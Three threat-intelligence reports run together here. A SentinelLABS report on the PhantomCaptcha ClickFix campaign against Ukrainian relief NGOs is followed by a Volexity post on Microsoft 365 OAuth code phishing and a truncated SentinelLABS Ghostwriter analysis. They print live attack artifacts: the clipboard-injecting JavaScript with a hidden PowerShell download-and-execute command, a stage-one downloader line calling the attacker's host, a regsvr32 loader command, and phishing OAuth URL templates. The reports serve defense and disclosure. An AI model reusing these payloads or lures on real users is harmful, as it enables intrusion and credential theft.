Executive Summary

• SentinelLABS together with Digital Security Lab of Ukraine has uncovered a coordinated spearphishing campaign targeting individual members of the International Red Cross, Norwegian Refugee Council, UNICEF, and other NGOs involved in war relief efforts and Ukrainian regional government administration.
• Threat actors used emails impersonating the Ukrainian President’s Office carrying weaponized PDFs, luring victims into executing malware via a ‘ClickFix’-style fake Cloudflare captcha page.
• The final payload is a WebSocket RAT hosted on Russian-owned infrastructure that enables arbitrary remote command execution, data exfiltration, and potential deployment of additional malware.
• Despite six months of preparation, the attackers’ infrastructure was only active for a single day, indicating sophisticated planning and strong commitment to operational security.
• An additional infrastructure pivot revealed a mobile attack vector with fake applications aimed at collecting geolocation, contacts, media files and other data from compromised Android devices.

Background

Following intelligence shared by research partner Digital Security Lab of Ukraine, SentinelLABS conducted an investigation into a coordinated spearphishing campaign launched on October 8th, 2025, targeting organizations critical to Ukraine’s war relief efforts.

The campaign was initiated through emails that impersonated the Ukrainian President’s Office and contained a weaponized PDF attachment (SHA-256: e8d0943042e34a37ae8d79aeb4f9a2fa07b4a37955af2b0cc0e232b79c2e72f3) embedded with a malicious link.

Targeted organizations included the International Committee of the Red Cross (ICRC), United Nations Children’s Fund (UNICEF) Ukraine office, Norwegian Refugee Council, Council of Europe’s Register of Damage for Ukraine, and Ukrainian government administrations in the Donetsk, Dnipropetrovsk, Poltava, and Mikolaevsk regions.

The weaponized PDF was an 8-page document that appeared to be a legitimate governmental communique. VirusTotal submissions on October 8th showed the malicious file uploaded from multiple locations including Ukraine, India, Italy, and Slovakia, suggesting widespread targeting and potential victim interaction with the campaign.

PhantomCaptcha Attack Chain

The PhantomCaptcha campaign employed a sophisticated multi-stage attack chain designed to exploit user trust and bypass traditional security controls.

Opening the weaponized PDF and clicking on the embedded link directed the victim to zoomconference[.]app, a domain masquerading as a legitimate Zoom site but in reality hosting a VPS server located in Finland and owned by Russian provider KVMKA.

Our analysis showed that zoomconference[.]app, hosted on IP 193.233.23[.]81, stopped resolving on the same day the attack attempt took place, indicating a single day operation. However, we were able to retrieve the server response from a record captured on VirusTotal. The server response showed that any visitors to the site encountered a convincing fake Cloudflare DDoS protection gateway.

After loading, the fake Cloudflare page attempts to establish a WebSocket connection to the attackers’ server, passing a randomly generated client identifier, clientId, produced by an embedded JavaScript function generateRandomId(). A JavaScript comment before the function suggests the client identifier should be 32 characters long; however, the code utilizes only 2 characters for clientId.

The attack infrastructure supported two potential infection paths. If the WebSocket server responded with a matching identifier, the victim’s browser would redirect to a legitimate, password-protected Zoom meeting. This infection path likely enabled live social engineering calls with victims; however, activation of this path was not observed during our investigation.

The primary infection vector relied on a variation of a social engineering technique that has been widely deployed by a variety of threat actors since mid-2024. Dubbed ClickFix or Paste and Run, it involves convincing the target to execute commands either deliberately or surreptitiously copied to the user’s clipboard. The PhantomCaptcha variant of this technique works as follows.

After the fake “automatic” verification process, victims are presented with a simulated reCaptcha challenge displaying an “I’m not a robot” checkbox.

Clicking the checkbox triggers a popup with instructions in Ukrainian, directing users to

1. Click the “Copy token” button in the popup
2. Press Windows + R to open the Run dialog
3. Paste and execute the command

The button runs a function copyToken() which contains a PowerShell commandlet designed to run invisibly.

function copyToken(){

//--headless "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft Windows\SystemHealthSvc.ps1"

let code = `iex ((New-Object System.Net.WebClient).DownloadString(\\"ht\\"+\\"tps://zoomconference.a\\"+\\"pp/cptch/${clientId}\\"));`

navigator.clipboard.writeText("conhost.exe --headless \"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \""+ code +"\"")

}

The code downloads and executes the next stage PowerShell script from hxxps://zoomconference[.]app/cptch/${clientId}, where ${clientId} is the same ID as described above.

This social engineering technique is particularly effective because the malicious code is executed by the user themselves, evading endpoint security controls that focus solely on detecting malicious files.

Our analysis suggests this attack chain has overlaps with recently-reported activity attributed to COLDRIVER, a Russian FSB-linked threat cluster, by several industry peers [1, 2, 3]. We continue to investigate whether this attribution can be confidently extended to the PhantomCaptcha campaign.

Multi-Stage Payload Delivery

Although the malware distribution server at zoomconference[.]app was not available at the time of analysis, we managed to discover additional infrastructure and payloads from malware repositories by querying for files from URLs ending with /cptch.

Our analysis revealed that the PhantomCaptcha campaign aimed to deliver PowerShell malware in three stages.

Stage 1: Obfuscated Downloader

The initial payload (SHA-256: 3324550964ec376e74155665765b1492ae1e3bdeb35d57f18ad9aaca64d50a44) was a heavily obfuscated PowerShell script named cptch and exceeding 500KB in size. Despite its apparent complexity, the cptch script’s core functionality is simply to download and execute a second-stage payload from hxxps://bsnowcommunications[.]com/maintenance.

The entire inflated script can be reduced to a single line:

& ([ScriptBlock]::Create( (New-Object System.Net.WebClient).DownloadString("hxxps://bsnowcommunications[.]com/maintenance") ))

Using massive obfuscation to obscure simple functionality is likely designed to evade signature-based detection and complicate analysis efforts.

Stage 2: Fingerprinting and Encrypted Comms

The second-stage payload (SHA-256: 4bc8cf031b2e521f2b9292ffd1aefc08b9c00dab119f9ec9f65219a0fbf0f566) is named maintenance and performs system reconnaissance, collecting:

• Computer name
• Domain information
• Username
• Process ID
• System UUID (hardware identifier)

This data was XOR-encrypted with the hardcoded key b3yTKRaP4RHKYQMf0gMd4fw1KNvBtv3l and sent to hxxps://bsnowcommunications[.]com/maintenance/<data> via HTTP GET requests.

The script also disabled PowerShell command history logging via Set-PSReadlineOption -HistorySaveStyle SaveNothing as a means of evading forensic analysis.

The server responded with an encrypted payload containing the third and final stage, which was decrypted and executed in memory.

Stage 3: WebSocket-Based Remote Access Trojan

The final payload (SHA-256: 19bcf7ca3df4e54034b57ca924c9d9d178f4b0b8c2071a350e310dd645cd2b23) is a lightweight PowerShell backdoor that connects (and repeatedly reconnects) to a remote WebSocket server at wss://bsnowcommunications[.]com:80. It receives Base64-encoded JSON messages that contain one of:

• cmd: a command that is decoded and executed with iex (Invoke-Expression) synchronously;
  

  

• psh: a PowerShell payload decoded and executed asynchronously using a PowerShell runspace delegate.
  

  

After execution, the script collects output, the current working directory, the machine HWID (UUID via WMI), PID, and an IDC identifier from the server message, converts that to JSON, and sends it back over the WebSocket. It is designed to run in an infinite loop, with reconnect logic and basic error handling.

The WebSocket-based RAT is a remote command execution backdoor, effectively a remote shell that gives an operator arbitrary access to the host.

Infrastructure Analysis

PhantomCaptcha demonstrated a moderate level of operational security through its brief active window. The C2 domain zoomconference[.]app resolved to 193.233.23[.]81, a VPS server hosted by Russian provider KVMKA. SentinelLABS’ analysis revealed the infrastructure was active for only about 24 hours on October 8, 2025, with ports 443 and 80 closed by the time of our investigation.

By fingerprinting the cached server response, we were able to identify a further malicious IP address 45.15.156[.]24, which resolves from goodhillsenterprise[.]com and has previously been seen serving obfuscated PowerShell malware scripts [1, 2]. We assess, with medium confidence, that 45.15.156[.]24 is currently or has recently been under the control of the threat actors behind PhantomCaptcha.

The C2 domain bsnowcommunications[.]com is linked to IP 185.142.33[.]131. Unlike the public-facing lure domain, this backend C2 infrastructure remains active, indicating strong compartmentalization and the need to maintain certain infrastructure for already-compromised systems.

We also found that on October 9, 2025, the day after the initial attack, a domain with the name zoomconference[.]click was registered, potentially indicating plans for continued operations.

PhantomCaptcha 2025 Attack Timeline

• March – According to the earliest related event (registration of goodhillsenterprise[.]com), the attackers started their operations on 2025-03-27.
• July – A number of malicious PowerShell scripts and other malware samples were developed and tested on VirusTotal in July 2025.
• September – SSL certificates from Let’s Encrypt for the related domains were issued on Sep 15 and Sep 25, 2025.
• October – Internal timestamps from the lure PDF document are dated back to Aug 2025, but were updated on Oct 8, 2025. The email with malicious attachment was also sent out on Oct 8, 2025. On the same day, the attack domain was shut down only to appear the following day (Oct 9, 2025) under a different top level domain.

Pivot to Additional Campaign

One interesting pivot from our infrastructure analysis revealed a link to a wider campaign making use of adult-oriented social and entertainment lures, with potential links to Russia/Belarus source development.

As noted earlier, the PhantomCaptcha zoom-themed domains were hosted on 193.233.23[.]81. During our analysis, the same IP began hosting a new domain, princess-mens[.]click, which appeared similar in ownership and configuration. Collected HTTPS response data from zoomconference[.]click also began including content identical to that found in the new domain, indicating a direct overlap in ownership of both domains.

The princess-mens[.]click domain has been observed linked to an Android application called princess.apk, hosted at https://princess-mens[.]click/princess.apk. The domain’s content and the APK are themed around an adult entertainment venue in Lviv, Ukraine, called Princess Men’s Club. Similar APKs can be found in other themes as well, such as “Cloud Storage”.

The application collects a variety of data to send to a hardcoded C2, which itself can be linked to additional infrastructure and samples. The samples use the HTTPS protocol and communicate over port 5000 to various server paths such as /check_update, /data, and /upload. For example:

https://[IP ADDRESS]:5000/check_update?version=[APP VERSION NUMBER]

The APK’s collectAndSendAllData() method is designed to gather a wide range of personal and device information. Based on the variable names in the code, the specific data being collected appears to be as follows.

While these findings indicate a possible relation to the PhantomCaptcha campaign, we are currently tracking it as a separate cluster of activity and encourage the research community to further pursue this lead for additional insight. We provide indicators that may be fruitful to explore at the end of this post.

Security Implications

Legitimate services do not require pasting commands into Windows Run dialog (Win+R) or similar interfaces. Hence, user awareness training on “Paste and Run” social engineering techniques can help prevent attacks using this infection vector. Similarly, unexpected communications from government offices can be independently verified through known channels.

From a technical perspective, PowerShell execution logging and monitoring provides visibility into commands using hidden window styles, execution policy bypasses, or attempts to disable command history logging. Additionally, network security teams can monitor for WebSocket connections to recently-registered or suspicious domains, particularly those mimicking legitimate services.

We provide a comprehensive list of Indicators of Compromise below to support threat hunting and detection efforts.

Conclusion

The PhantomCaptcha campaign reflects a highly capable adversary, demonstrating extensive operational planning, compartmentalized infrastructure, and deliberate exposure control. The six-month period between initial infrastructure registration and attack execution, followed by the swift takedown of user-facing domains while maintaining backend command-and-control, underscores an operator well-versed in both offensive tradecraft and defensive detection evasion.

The targeting of organizations supporting Ukraine’s relief efforts also reveal an adversary seeking intelligence across humanitarian operations, reconstruction planning, and international coordination efforts.

SentinelLABS continues to monitor infrastructure associated with this threat actor and will provide updates as new information becomes available.

Acknowledgments

We would like to express our thanks to partners in the region, including Digital Security Lab of Ukraine for their invaluable collaboration on this case.

Organizations that believe they may have been targeted by threat actors involved in this campaign are invited to reach out to the SentinelLABS team via ThreatTips@sentinelone.com.

Indicators of Compromise

KEY TAKEAWAYS

• Since early March 2025, Volexity has observed multiple Russian threat actors aggressively targeting individuals and organizations with ties to Ukraine and human rights.
• These recent attacks use a new technique aimed at abusing legitimate Microsoft OAuth 2.0 Authentication workflows.
• The attackers are impersonating officials from various European nations, and in one instance leveraged a compromised Ukrainian Government account.
• Both Signal and WhatsApp are used to contact targets, inviting them to join or register for private meetings with various national European political officials or for upcoming events.
• Some of the social engineering campaigns seek to fool victims into clicking links hosted on Microsoft 365 infrastructure
• The primary tactics observed involve the attacker requesting victim's supply Microsoft Authorization codes, which grant the attacker with account access to then join attacker-controlled devices to Entra ID (previously Azure AD), and to download emails and other account-related data.

Since early March 2025, Volexity has observed multiple suspected Russian threat actors conducting highly targeted social engineering operations aimed at gaining access to the Microsoft 365 (M365) accounts of targeted individuals. This activity comes on the heels of attacks Volexity reported on back in February 2025, where Russian threat actors were discovered targeting users and organizations through Device Code Authentication phishing.

Since that reporting, while there has been an observable drop in Russian threat actors leveraging that specific method, Volexity has observed them pivoting to different methods of attack that abuse other legitimate M365 OAuth authentication workflows. These recently observed attacks rely heavily on one-on-one interaction with a target, as the threat actor must both convince them to click a link and send back a Microsoft-generated code.

Volexity is currently tracking what is believed to be at least two Russian threat actors, which it tracks as UTA0352 and UTA0355, that are behind these attacks. It is plausible that there are overlaps between these threat actors and those Volexity previously reported as conducting Device Code Authentication phishing campaigns in January and February 2025. This blog post details the different techniques used by these threat actors and the commonalities between their campaigns, which can be summarized as follows:

• The attacker contacts the victim via a messaging application (Signal, WhatsApp) and invites them to join a video call to discuss the conflict in Ukraine.
• Once the victim has responded, the attacker sends an OAuth phishing URL that they claim is required to join the video call.
• The victim is asked to return the Microsoft-generated OAuth code back to the attacker.
• If the victim shares the OAuth code, the attacker is then able to generate an access token that ultimately allows access the victim’s M365 account.

Diplomatic Channels to Nowhere

In March 2025, Volexity learned that some of its customers' staff were receiving suspicious messages via Signal and WhatsApp. The targeted staff members worked at NGOs that support human rights and specifically have expertise and experience working on issues related to Ukraine. The messages claimed to be from European political officials and were themed around discussing matters involving Ukraine. In each observed instance, the call to action was to arrange a meeting between the target and a political official, or Ambassador, of the European country of which the sender claimed to represent.

If the target responded to messages, the conversation would quickly progress towards actually scheduling an agreed upon time for the meeting. However, perhaps in an attempt to not arouse suspicion, in some cases the "Ambassador" would not be immediately available, and the meeting would be scheduled for days later.

As the agreed meeting time approached, the purported European political official would make contact again and share instructions on how to join the meeting. These instructions typically came in the form of a document uploaded into the messaging platform. This "official" would then send a link for the target to click on in order to join the meeting. These shared URLs all pointed to the official login portal for M365 via login.microsoftonline.com.

It should come as no surprise that these were, in fact, phishing campaigns, and the supplied instructions involved sending a code back to the attacker. However, unlike the previously observed attacks, these URLs were not associated with Device Code Authentication workflows. Instead, these URLs pointed to other Microsoft OAuth 2.0 authentication workflows associated with various legitimate first-party Microsoft applications. Volexity attributes the initial series of attacks observed to a suspect Russian threat actor it tracks as UTA0352.

In these campaigns, clicking the link alone would not be enough for the account to be compromised. The code would need to be supplied back to the attacker. The supplied links would redirect to official Microsoft URLs and, in the process, generate a Microsoft Authorization Token that would then appear as part of the URI, and in some cases, within the body of the redirect page. This code could then be used to generate an Access Token, which would grant the holder with access to the account for which it was generated. In multiple observed instances, the attacker would request the code be emailed or sent back via WhatsApp or Signal.

Volexity observed UTA0352 impersonating individuals representing the following countries and affiliations:

• Mission of Ukraine to the European Union
• Permanent Delegation of the Republic of Bulgaria to NATO
• Permanent Representation of Romania to the European Union

Based on other observations, Volexity believes UTA0352 also likely impersonated officials from Poland as well, but Volexity did not observe this directly. The images below show examples of initial outreach messages sent by UTA0352 impersonating various identities on Signal (left) and WhatsApp (right).

Phishing via Visual Studio Code

In mid-March 2025, one of Volexity's customers was contacted by UTA0352 claiming to be a government official from Romania. They attempted to set up a meeting with their Ambassador. Once the user engaged, the attacker sent a message explaining the need to set up a meeting on their web-based “Extended Verification System (EVS)” hosted on their secure servers. This message was accompanied by a PDF file with instructions on what to expect and how to join, after which a maliciously crafted URL was sent to the target.

The image below shows the two-page PDF document purporting to be from the Romanian Ministry of Foreign Affairs.

The URL shared by UTA0352 had the following format:

https://login.microsoftonline[.]com/organizations/oauth2/v2.0/authorize?state=https://mae.gov[.]ro/[REMOVED]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&scope=https://graph.microsoft.com/.default&response_type=code&redirect_uri=https://insiders.vscode.dev/redirect&login_hint=<EMAIL HERE>

This URL format is used by M365 to log in to both Microsoft-native/first-party applications and third-party applications using M365’s OAuth workflows. The key parameters of the URL are described in the Microsoft OAuth documentation; for convenience, they are briefly described below:

If the user is already logged in with the account specified in the login_hint parameter, they will be seamlessly redirected. If the user is not already authenticated, they will be prompted to log in to their M365 account. Once authenticated, the user is redirected to an in-browser version of Visual Studio Code, hosted at insiders.vscode.dev. The URL redirects the user to the /redirect page, which is designed to receive login parameters from M365, including OAuth. When the user is redirected to this page, they are presented with the following dialog:

The code displayed via the Visual Studio Code dialog is an OAuth 2.0 authorization code that can be used for up to 60 days. This code can be submitted to Microsoft’s OAuth workflow for an access token, which can then be used to access the M365 Graph API. Since the original request asked for the user’s default access rights, anyone with access to this authorization code also has access to all resources normally available to the user. It should be noted that this code also appeared as part of the URI in the address bar. The Visual Studio Code appears to have been set up to make it easier to extract and share this code, whereas most other instances would simply lead to blank pages.

The message shown under the main header uses the state value from the prior request, which is commonly used to indicate where the request to authenticate came from. However, as described in Microsoft's documentation, this value is arbitrary. It is up to the handling application (in this case, Visual Studio Code) to decide if and how to use this value. UTA0352 abused this to make it look like an authentication attempt to a Romanian government service. This is a theme repeated in other phishing attacks as an effort to make the links appear legitimate.

The diagram below shows the overall workflow followed by the attacker to target users leveraging the Visual Studio Code first-party application. The workflow varies slightly from other attacks observed later but is fairly similar overall.

Earlier Variations of Visual Studio Code Phishing

In addition to the phishing attack described above, Volexity also identified an older variation of a phishing campaign believed to have been employed by UTA0352. In this earlier campaign, the following URL format was used:

hxxps://login.microsoftonline[.]com/common/oauth2/authorize?redirect=https://zoom.us/j/<snip>&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&resource=https://graph.microsoft.com&response_type=code&redirect_uri=https://vscode-redirect.azurewebsites.net&login_hint=<removed>&ui_locales=en-US&mkt=en-US&client-request-id=<removed>

The URL differs from the one previously described, in that it employs the format used by the AzureAD v1.0 specification, not v2.0 used in the initially observed campaign. The key differences between the URL parameters used are noted below:

The workflow the older campaign variation initiates is similar to the initially observed campaign. If a user is logged in, they are redirected to vscode-redirect.azurewebsites.net, which in turn redirects to a local IP address (127.0.0.1). When this happens, instead of yielding a user interface with the Authorization Code, the code is only available in the URL. The final URL is in the following format:

hxxp://127.0.0.1:9217/callback?code=1.ARsAIGLD9ki0FE63WmhS-KbgFENkvK5tmX[snipped]D&session_state=[uuid]

This yields a blank page when rendered in the user’s browser. The attacker must request that the user share the URL from their browser in order for the attacker to obtain the code.

UTA0355: Phishing via Compromised Ukrainian Government Account

Then, in early April 2025, Volexity identified another new Microsoft 365 OAuth phishing campaign. This time, the campaign started with an email from a legitimate, compromised Ukrainian Government email account, which was then followed by messages sent via Signal and WhatsApp. The emails and follow-up messages invited targets to join a video conference related to Ukraine's efforts "to investigate and prosecute atrocity crimes, as well as the country’s cooperation with international partners in this field.”

As with previous OAuth phishing techniques that Volexity has reported, the ultimate intention of this campaign is to use the legitimate Microsoft 365 authentication API to gain access to the victim’s email data. However, in this campaign, the attacker uses the stolen OAuth authorization code to register a new device to the victim’s Microsoft Entra ID (formerly Azure Active Directory) on a permanent basis. After registering the device in Entra ID, the attacker then needs to further socially engineer the target into approving a two-factor authentication request in order to gain access to the victim’s email.

While this campaign uses similar techniques to those employed by UTA0352, Volexity currently tracks these attacks separately and attributes this activity to a threat actor it has labeled UTA0355.

Multi-stage Social Engineering

Unlike the attacks that Volexity observed from UTA0352, this new phishing campaign started with an email that was sent to multiple targets. The email invited the targets to a video conference and included the event details. The email did not include any links or instructions, but it did solicit interest from the recipient on if they wished to attend. However, despite the initial outreach coming via email, Volexity found that UTA0355 quickly followed up with each recipient via Signal or WhatsApp, referencing the email that was sent, likely to add legitimacy to their messaging.

Volexity believes that UTA0355 only sent the email from the compromised Ukrainian Government account to individuals for whom it had out-of-band contact information. This was likely to facilitate real-time conversations to assist with social engineering efforts, and to keep information outside of email where it could more easily be discovered or later examined.

The initial email that was sent to various targets is shown in the image below.

Not long after this email was sent to various targets, the follow-up message from UTA0355 referencing the email was sent via Signal or WhatsApp; an example of which is shown below.

OAuth Phishing and the Device Registration Service

Like other OAuth phishing techniques, the one used in this campaign involved direct interaction with the victim to have them click a link and supply a code back to the attacker. This code is then sought by the attacker and used to obtain illicit access to M365 resources.

Victim Interaction

If the target responded to the message UTA0355 sent via Signal or WhatsApp, they would be sent an M365 login URL to click; the URL format is shown below:

https://login.microsoftonline.com/common/oauth2/authorize?url=https://teams.microsoft.com/[redacted]&client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&resource=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9&response_type=code&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2FWebApp%2FCloudDomainJoin%2F8&amr_values=ngcmfa&login_hint=<email@address.here>

After the victim logged in via the shared Microsoft URL, they would be redirected to a new URL that contained an OAuth authorization code within the URL. The attacker included additional instructions indicating the victim should share the URL they see in their address bar after the redirect occurs. The URL generated by the victim’s browser, and subsequently returned to UTA0355, follows the format below:

https://login.microsoftonline.com/WebApp/CloudDomainJoin/8?code=[redacted]&session_state=[redacted]

By sharing this URL with the attacker, the victim would unknowingly hand over all the information required to authenticate as themselves. This is similar to other observed and suspected attack campaigns. And again, this does require the target to both click a link and send back a code or URL. However, the victim is only ever asked to interact with legitimate Microsoft 365 services, which users may inherently see as trustworthy. Additionally, it may not immediately appear obvious to a user that sharing data from their address bar, or from text displayed on a legitimate Microsoft webpage, would facilitate granting an attacker access to their M365 account.

UTA0355 OAuth Abuse

The URL the victim would share with the attacker includes a code parameter containing an OAuth authorization code, which would then be used to grant access tokens. Unlike similar previous campaigns, the resource requested in the initial login is not access to the Microsoft Graph API; instead, it is for the Device Registration Service. This service is used by Windows to join new devices to Entra ID. The attacker would use this access to join a new device named DESKTOP-[redacted] to the victim’s Entra ID. Volexity was able to use the ROADTools project to replicate these steps, and followed this guide to create a new token with full permissions for Microsoft Graph API access. This technique uses a flaw in the Entra ID API design to grant an access token with a greater level of access than that initially granted.

After the initial interaction had taken place, and UTA0355 had registered their device with the victim’s Microsoft Entra ID (Azure AD), Volexity observed an additional interaction with the victim. In this interaction, UTA0355 requested that the victim approve a two-factor authentication (2FA) request to “gain access to a SharePoint instance associated with the conference”. This was required to bypass additional security requirements, which were put in place by the victim’s organization, in order to gain access to their email.

Post-compromise Activity

Volexity assesses with high confidence that the attacker required the victim to approve a 2FA request to access email items. In logs reviewed by Volexity, initial device registration was successful shortly after interacting with the attacker. Access to email data occurring the following day, which was when UTA0355 had engineered a situation where their 2FA request would be approved. Once access was granted, logs showed the attacker downloaded the target’s email using a session tied to the newly registered device.

The login activity, email access, and device registration all took place using a client IP address belonging to a proxy network that was geolocated to where the victim was located.

Detecting Related Activity

To generally prevent or detect these attacks, Volexity recommends the following:

• Consider alerting on M365 login activity where the Visual Studio Code client_id value aebc6443-996d-45c2-90f0-388ff96faa5 is used in combination with a resourceDisplayName containing “Microsoft Graph”. Depending on your environment and the usage of Visual Studio Code, this may or may not be feasible, as legitimate users will also login using this client_id.
• Consider alerting on the following URL format (either embedded in email or proxy logs). Note that the parameters in the URL can appear in any order, and that the redirect_uri values must be set to insiders.vscode.dev/redirect or vscode-redirect.azurewebsites.net:
  

  https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?state=[any_url]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&scope=https://graph.microsoft.com/.default&response_type=code&login_hint=[email]&redirect_uri=https://insiders.vscode.dev/redirect

  https://login.microsoftonline[.]com/common/oauth2/authorize?redirect=[any_url]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&resource=https://graph.microsoft.com&response_type=code&redirect_uri=https://vscode-redirect.azurewebsites.net&login_hint=[email]&ui_locales=en-US&mkt=en-US&client-request-id=[removed]
  

• Evaluate the business impact associated with blocking access to the insiders.vscode[.]dev and vscode-redirect.azurewebsites.net hostnames and consider implementing such blocks.
• Educate users about the risks associated with new and unknown contacts established through secure messaging platforms. It is crucial that users understand the importance of verifying the identities of contacts that reach out via Signal, WhatsApp, or other secure messaging platforms. Verification should be done out-of-band instead of trusting information provided via unsolicited or unexpected outreach.
• Consider looking for newly registered devices, and correlate with registering IP addresses to look for low-reputation or proxy IP addresses appearing in the ClientIPAddress.
  • Be aware that ongoing access to the user’s email via the Microsoft Graph API will not contain an attacker IP address in the ClientIPAddress field; instead, it contains a Microsoft IP address. This behavior does not appear to be documented and is counterintuitive to security analysis.
  • While attacker activity cannot easily be tracked via the ClientIPAddress field, Volexity was able to track attacker activity based on the unique deviceId value associated with the device that was registered by the attacker.
  • The ClientAppID field for ongoing access may differ from the user’s typical email client, as it will use an AppID corresponding to one created by the attacker.
• Consider implementing conditional access policies that restrict access to organizational resources to only approved or managed devices. This can be effective at preventing device registration and unauthorized access to other resources such as email.
  • At the time of publication, Volexity is not aware of a way to block specific first-party Microsoft apps via conditional access policies. Conditional access can be used to block access to all services for non-compliant devices; however, this may prove challenging for organizations to implement in a short timeframe.
  • It should also be noted that Microsoft Teams was one of the resources Volexity also observed UTA0352 targeting. It is not likely reasonable or feasible for most organizations to block this, if it were even possible.

Conclusion

Motivated threat actors will continuously look for new ways to circumvent security controls and gain access to resources using new methods that are not well known to users or cyber defense teams. This latest series of attacks marks the second time since January 2025 that Russian threat actors have blitzed little-known techniques to obtain access to M365 resources. Volexity surmises that these attacks targeting NGOs, Think Tanks, and human rights defenders may be ramping up in order to capitalize on the current situation these individuals and organizations are facing in the form of budget cuts and reduced staffing.

Similar to the Device Code Authentication phishing campaigns that Volexity reported in February 2025, these recent campaigns benefit from all user interactions taking place on Microsoft’s official infrastructure; there is no attacker-hosted infrastructure used in these attacks. Similarly, these attacks do not involve malicious or attacker-controlled OAuth applications for which the user must explicitly grant access (and thus could easily be blocked by organizations). The use of Microsoft first-party applications that already have consent granted has proven to make prevention and detection of this technique rather difficult.

Organizations should train users to be highly vigilant when it comes to unsolicited contact, especially if it arrives via secure messaging apps and request that users click links or open attachments. Further, for this specific type of attack to be successful, the attacker must request that the user send back a URL or code from the link they clicked on. This tactic is not something users are typically trained to be aware of and should be added to an organization's users' security awareness training.

At this time, Volexity notes that NGOs, organizations related to human rights and providing aid and humanitarian assistance, and those with ties to Ukraine are likely the most at risk and potential targets of these campaigns. And while this threat activity is ongoing in limited targeted attacks, Volexity expects that this method of attack will continue and may become more widespread. Therefore, organizations should broadly warn users about this type of attack.

Finally, all messages attributed to UTA0352 and UTA0355 were themed around Ukraine, and targeted numerous individuals and organizations that have historically been targeted by Russian threat actors. Based on this, and the use of similar tactics observed in February 2025, Volexity assesses with medium confidence that both UTA0352 and UTA0355 are Russian threat actors. It is unclear if they are working in coordination or have overlaps with Volexity's previous reporting.

INVESTIGATIVE ASSISTANCE

 

If any organization or individual believes they may have been targeted by UTA0352, UTA0355, or in a similar attack, please feel free to reach out to Volexity via our contact form. We would be glad to assess any potential targeting and assist in determining if such an attack may have succeeded.

Acknowledgements

Volexity would like to thank its customers for their vigilance, cooperation, hard work, and dedication to defending human rights. Volexity would also like to thank the MIL.CERT-UA of the Ministry of Defence of Ukraine for their ongoing assistance and cooperation.

The post Phishing for Codes: Russian Threat Actors Target Microsoft 365 OAuth Workflows appeared first on Volexity.

Executive Summary

• SentinelLABS has observed a campaign targeting opposition activists in Belarus as well as Ukrainian military and government organizations.
• The campaign has been in preparation since July-August 2024 and entered the active phase in November-December 2024.
• Recent malware samples and command-and-control (C2) infrastructure activity indicate that the operation remains active in recent days.
• SentinelLABS assesses that this cluster of threat activity is an extension of the long-running Ghostwriter campaign identified in previous public reporting.

Ghostwriter | Background

Ghostwriter is a long-running campaign likely active since 2016 and subsequently described in various public reports throughout 2020 to 2024. The actor behind Ghostwriter campaigns is closely linked with Belarusian government espionage efforts, while most commonly reported under the APT names UNC1151 (Mandiant) or UAC-0057 (CERT-UA). Some public reports may use the term “Ghostwriter APT” interchangeably to refer to both the threat actor and its associated campaigns.

Previous research on the evolution of Ghostwriter noted how it operated successfully across a range of platforms, blending information manipulation with hacking to target a number of European countries. Reporting throughout 2022 to 2024 described activity in which malicious Excel documents were used to deliver PicassoLoader and Cobalt Strike payloads. Observed document lures were themed around issues pertaining to the Ukraine military and the likely targeting of the Ministry of Defense.

SentinelLABS has observed new activity with multiple weaponized Excel documents containing lures pertaining to the interests of the Ukraine government, the Ukraine military and domestic Belarusian opposition. While some of the TTPs we have observed overlap with previous reporting, others are new, including adaptations of previously observed payloads such as PicassoLoader.

Weaponized XLS 1 | “Political Prisoners in Minsk Courts”

SentinelLABS analyzed an attack that started with a Google Drive shared document landing in the target’s inbox. The email originated from an account using the name “Vladimir Nikiforech” (vladimir.nikiforeach@gmail[.]com). The email link pointed to a downloadable RAR archive, which according to the internal timestamps was created on 2025-01-14 00:47:54, containing a malicious Excel workbook (ebb30fd99c2e6cbae392c337df5876759e53730d) with the file name политзаключенные(по судам минска).xls (“Political prisoners (across courts of Minsk).xls”).

The title of the lure indicates an interesting shift in Ghostwriter targeting. Although attribution for the 2021 Ghostwriter campaign pointed to the Belarus state, this is the first time we have seen lures directly aimed at Belarus government opposition. The timing of the attack could have been motivated by the presidential election that took place shortly after on Jan 26, 2025.

The XLS document contains an obfuscated VBA macro which is activated when the document is opened and the user allows Office macros to run.

On execution, the macro writes a file to %Temp%\Realtek(r)Audio.dll.

The DLL file is loaded with the following command line invocation:

C:\Windows\System32\regsvr32.exe /u /s "C:\Temp\Realtek(r)Audio.dll”

This starts the standard Windows process regsvr32.exe, which calls the DllUnregisterServer function implemented inside the DLL; the function then loads and executes the .NET assembly described next.

Analysis of Dwnldr.dll shows that it is a DLL file with a .NET assembly embedded inside. The file is protected with ConfuserEx – a publicly available tool that helps to obfuscate .NET programs and observed in previous Ghostwriter campaigns.

The DLL file hosts a payload that appears to be a simplified variant of PicassoDownloader, a malware family also linked to Ghostwriter activity. The internal filename (Dwnldr.dll) was previously used by the Ghostwriter threat actor; however, this variant bears only high-level similarities to previous versions, with significant changes to the underlying code, possibly to make it a cheaper and more expendable tool.

As a part of application protection provided by the obfuscator, the Downloader creates a copy of itself in memory, and then modifies it. It does so by decrypting additional code of the assembly. It also uses a clever evasion technique, altering its own PE header in memory and breaking internal links to the .NET assembly. This makes it impossible for security products to parse it as a .NET module.

During code execution, after the protection layer passes control to core functionality, the Downloader writes a decoy Excel workbook file to %AppData%\Roaming\Microsoft\temp.xlsx and downloads additional file(s) from the Web.

The temp.xlsx decoy file (18151b3801bd716b5a33cfc85dbdc4ba84a00314) is immediately opened in Excel in an attempt to make the victim believe that it contains the original content of the политзаключенные (по судам минска).xls file.

The spreadsheet contains the names of people with criminal charges along with the names of prosecutors and judges: content that invites the reader to believe it could be leaked from a government source. However, the information was already in the public domain and can be found on the website of a proscribed Belarusian human rights organization, Spring96.

Once the decoy Excel file is opened, the Downloader attempts to fetch the next stage from the following URL:

https://everythingandthedog[.]shop/petsblog/2020/2/25/tips-for-taking-difficult-dogs-on-a-walk.jpg

